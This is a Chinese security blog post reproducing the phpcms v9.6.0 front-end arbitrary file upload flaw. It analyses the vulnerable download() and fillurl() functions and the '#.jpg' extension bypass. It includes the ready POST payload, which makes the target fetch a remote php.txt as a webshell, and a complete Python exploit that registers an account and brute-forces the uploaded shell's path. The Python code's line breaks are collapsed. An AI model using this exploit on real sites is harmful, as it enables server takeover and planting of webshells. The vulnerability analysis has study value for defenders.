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之前碰到一个站点,存在目录遍历,看到upload目录下上传了好多php的大马,说明这网站肯定是有漏洞的,看了一下网站指纹,是phpcms的,正好借此网站复现一下此漏洞
一丶漏洞简介
此漏洞爆出来的时间是2017年4月份左右,时间比较长了,存在任意文件长传,漏洞利用比较简单,危害很大,可以直接前台getshell。
二丶影响版本
phpcms v9.6.0
三丶漏洞分析
漏洞利用点是注册的地方,我们来看一下网上常用的一个payload:
http://127.0.0.1/index.php?m=member&c=index&a=register&siteid=
POST:
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.2/bx/php.txt?.php#.jpg>&dosubmit=1&protocol=
其实最主要的问题就出现在Download函数上
/*** 附件下载* Enter description here ...* @param $field 预留字段* @param $value 传入下载内容* @param $watermark 是否加入水印* @param $ext 下载扩展名* @param $absurl 绝对路径* @param $basehref */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{global $image_d;$this->att_db = pc_base::load_model('attachment_model');$upload_url = pc_base::load_config('system','upload_url');$this->field = $field;$dir = date('Y/md/');$uploadpath = $upload_url.$dir;$uploaddir = $this->upload_root.$dir;$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;$remotefileurls = array();foreach($matches[3] as $matche){if(strpos($matche, '://') === false) continue;dir_create($uploaddir);$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);}unset($matches, $string);$remotefileurls = array_unique($remotefileurls);$oldpath = $newpath = array();foreach($remotefileurls as $k=>$file) {if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file);$file_name = basename($file);$filename = $this->getname($filename);$newfile = $uploaddir.$filename;$upload_func = $this->upload_func;if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}return str_replace($oldpath, $newpath, $value);
}
这里匹配了src
或href
中文件的文件名,不过后缀为$ext
,其中$ext
的值为:gif|jpg|jpeg|bmp|png
,由于匹配的不严格,导致可以绕过
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
随后在这一行带入了函数fillurl
:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
在fillurl
中去掉了#
后的内容:
$pos = strpos($surl,'#');if($pos>0) $surl = substr($surl,0,$pos);
最后就构造出下载php的链接
四丶漏洞复现
打开注册页面
填入信息 ,抓取数据包
将POST包修改为以下内容
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.1/php.txt?.php#.jpg>&dosubmit=1&protocol=
原理就是匹配了src或href中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png,这个是可以绕过,http://127.0.0.1/php.txt?.php#.jpg,然后在fillurl
函数
中给我们去掉了#
后的内容:
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
导致下载我们服务器上的txt到服务器上生成webshell
五丶漏洞修复
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次
exp:
import re
import requests
import random
import timedef randomstring(length):s = ''dic = "abcdefghijklmnopqrstuvwxyz"for i in range(int(length)):s += dic[random.randint(0,25)]return sdef poc(url):u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)data = {'siteid': '1','modelid': '11',"username": "%s"%randomstring(12),"password": "%s"%randomstring(12),"email": "%s@qq.com"%randomstring(12),'info[content]': '<img src=http://xxx/shell.txt?.php#.jpg>','dosubmit': '1',}headers = {'cookie:':'PHPSESSID=t3id73sqv3dbnkhbbd0ojeh5r0; XDEBUG_SESSION=PHPSTORM'}rep = requests.post(u, data=data)#print rep.contentshell = ''re_result = re.findall(r'<img src=(.*)>', rep.content)if len(re_result):shell = re_result[0]if shell:print 'shell:',shelltmp = time.strftime('%Y%m%d%I%M%S',time.localtime(time.time()))path = time.strftime('%Y',time.localtime(time.time()))+'/'+time.strftime('%m%d',time.localtime(time.time()))+'/'for i in range(100,999):filename = tmp+str(i)+'.php'shell = url+'uploadfile/'+path+filenamereq = requests.get(url=shell)if req.status_code == 200:print 'brute shell:',shellbreakif __name__ == '__main__':poc('http://localhost/')